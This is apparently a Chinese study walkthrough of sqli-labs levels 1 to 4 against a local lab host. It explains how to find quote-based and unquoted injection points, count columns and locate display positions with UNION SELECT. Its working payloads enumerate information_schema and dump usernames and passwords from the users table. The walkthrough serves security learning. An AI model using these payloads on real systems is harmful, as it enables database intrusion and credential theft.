第一关
1.经过语句and 1=2测试 ,页面回显正常,所以该地方不是数值查询
http://sqli-labs:84/Less-1/?id=1 and 1=2--+
%20
是空格
2.在id后面加上’,发现页面回显不正常,表示可能存在SQL字符注入
http://sqli-labs:84/Less-1/?id=1'
%27
是单引号
3.输入--+
将sql后面的语句注释掉后,发现页面回显正常,证明这个地方是单引号字符型注入
--+
是注释
4.接着使用order by
语句判断,该表中一共有几列数据
order by 1-3
页面回显正常,order by 4
页面回显不正常,说明此表一个有3列。
http://sqli-labs:84/Less-1/?id=1' order by 4--+
5.将id=1改为一个数据库不存在的id值,如857,使用union select 1,2,3
联合查询语句查看页面是否有显示位。
(这个显示位指的是网页中能够显示数据的位置。
举例来说,比如我们通过ORDER BY命令知道了表的列数为11。然后再使用UNION SELECT 1,2,3…,11 from table,网页中显示了信息8,那么说明网页只能够显示第8列中信息,不能显示其他列的信息。也可以理解为网页只开放了8这个窗口,你想要查询数据库信息就必须要通过这个窗口。)
http://sqli-labs:84/Less-1/?id=857' union select 1,2,3--+
发现页面先输出了2和3,说明页面有2个显示位
6.然后利用sql查询语句依次爆破出数据库内的数据库名,表名,列名,字段信息
?id=857’ union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
这是一个查询数据库名信息的语句
group_concat是能将相同的行组合起来的函数
查询库中有多少表:
?id=-1 'union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+`
查询敏感信息表的字段:
?id=-1'union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'--+
查询敏感字段内容:
?id=-1'union select 1,group_concat(username),group_concat(password) from security.users--+
第二关
无符号包裹的报错注入GET
输入?id=1’,报错回显如下
传入的是1’但是报错信息只有’ limit 0,1那么就是id就是无符号包裹
不用闭合直接注–+释掉后面的语句即可
方法和less-1一样
利用mysql自带的信息表查询库,表,字段的名称
查询数据库名,数据库用户名等信息:?id=857 union select 1,user(),database()--+
查询库中有多少表:?id=857 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+
查询敏感信息表的字段:?id=857 union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'--+
查询敏感字段内容:?id=-1 union select 1,group_concat(username),group_concat(password) from security.users--+
第三关
?id=1'
报错回显
?id=-1' ) union select 1,2,3--+
?id=-1') union select 1,version(),user() --+
省略一些步骤 其他和一二关一样 不多赘述了
?id=-1') union select 1,group_concat(username),group_concat(password) from security.users--+
第四关
?id=1'
页面没有报错 试试?id=1"
?id=1")--+
闭合常规注入即可
?id=-1")union select 1,version(),database()--+
?id=-1") union select 1,group_concat(username),group_concat(password) from security.users--+
省略一些步骤 其他和一二关一样 不多赘述了